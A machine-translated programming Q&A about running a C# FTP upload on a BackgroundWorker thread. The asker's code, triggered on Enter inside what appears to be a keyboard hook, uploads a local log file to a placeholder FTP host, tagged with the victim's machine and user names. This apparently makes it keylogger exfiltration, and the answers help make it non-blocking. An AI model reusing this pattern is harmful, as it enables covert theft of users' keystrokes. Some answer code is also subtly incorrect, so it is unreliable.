线程FTP上传c#

线程FTP上传c#,c#,multithreading,upload,ftp,backgroundworker,C#,Multithreading,Upload,Ftp,Backgroundworker,我很难弄清楚如何线程我的FTP上传脚本。我正试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序。我听说过使用“backgroundworker”,但我完全不知道如何设置。。我已经找了一段时间了。你能给我举个例子吗?谢谢 if ((Keys)vkCode == Keys.Enter) { //~~~ Enter Key pressed ~~~ // string ftpsrc = A

我很难弄清楚如何线程我的FTP上传脚本。我正试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序。我听说过使用“backgroundworker”,但我完全不知道如何设置。。我已经找了一段时间了。你能给我举个例子吗?谢谢

if ((Keys)vkCode == Keys.Enter)
{
                        //~~~ Enter Key pressed ~~~ //
                            string ftpsrc = Application.StartupPath + @"/logs/log.txt";
                            FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
                                    request2.Method = WebRequestMethods.Ftp.UploadFile;
                                    request2.Credentials = new NetworkCredential("username", "password");
                                    StreamReader sourceStream2 = new StreamReader(ftpsrc);
                                    byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
                                    sourceStream2.Close();
                                    request2.ContentLength = fileContents2.Length;
                                    Stream requestStream2 = request2.GetRequestStream();
                                    requestStream2.Write(fileContents2, 0, fileContents2.Length);
                                    requestStream2.Close();
                                    FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
                                    response2.Close();


                            //~~~ End Enter Key ~~~//
                        }

一种非常简单的方法是使用
BackgroundWorker
这样的工具,它可以让您访问进度事件以及控制执行。此方法允许用户界面线程与FTP上传逻辑完全分离。这意味着,无论上传花了多长时间,用户界面都会响应

现在多线程的实际上传是另一回事。如果是这样,则需要将消息分成相等的部分,并在FTP端重新组装这些部分,但这也意味着要编写自定义FTP服务器

请查看此处,了解BackgroundWorker是什么以及如何使用它的完整说明:

编辑::

好的,请回答评论中关于如何设置backgroundworker以在enter键上执行的问题。看一下上面的文档,了解如何使用backgroundworker的要点

您可能希望使用您设置的backgroundworker的
RunWorkerAsync()
方法更改当前的键挂钩。BackgroundWorker的
DoWork
方法应该是您当前在密钥挂钩中使用的方法

    BG.DoWork += YourUploadFunction();

    if ((Keys)vkCode == Keys.Enter)
    {
         //~~~ Enter Key pressed ~~~ //
         BG.RunWorkerAsync();
    }
要初始化
BackgroundWorker
,请执行以下操作:

    BackgroundWorker BG = new BackgroundWorker();
    BG.DoWork += new DoWorkEventHandler(BG_DoWork);
dowworkeventhandler
允许创建一个新的处理程序来控制BG将执行的功能。这方面的一个例子是:

    private void BG_DoWork(object sender, DoWorkEventArgs e)
    {   
         YourUploadFunctions();
    }
但是,您希望只对
BackgroundWorker
进行一次初始化,这样就不会有多个实例。此外,一旦设置了DoWork事件,就不需要再次执行。
`

后台工作人员在这方面做得很好,另一个选择是Task类。你可以在这里读到。页面上有一个如何实现它的示例。另外,根据您使用的.net framework的版本,您还可以查看Async并等待此处显示的结果。

我听说过使用后台工作程序。。你能给我举一个使用enter键时调用backgroundworker的例子吗?例如如果((Keys)vkCode==Keys.Enter){//stuffs}@Chris\u Bogausch检查我的编辑。非常感谢!我在找一个实际的例子。我只是个想学点c的书呆子。我很感激你帮助我!如果我需要帮助,我会与你联系。我还有什么需要补充的吗?im获得“非静态字段、方法或属性“Program.class.BG”需要对象引用。如果这有帮助,我将添加完整的程序?@Chris_Bogausch您收到错误,因为您需要先初始化后台工作程序。请再次检查我的编辑。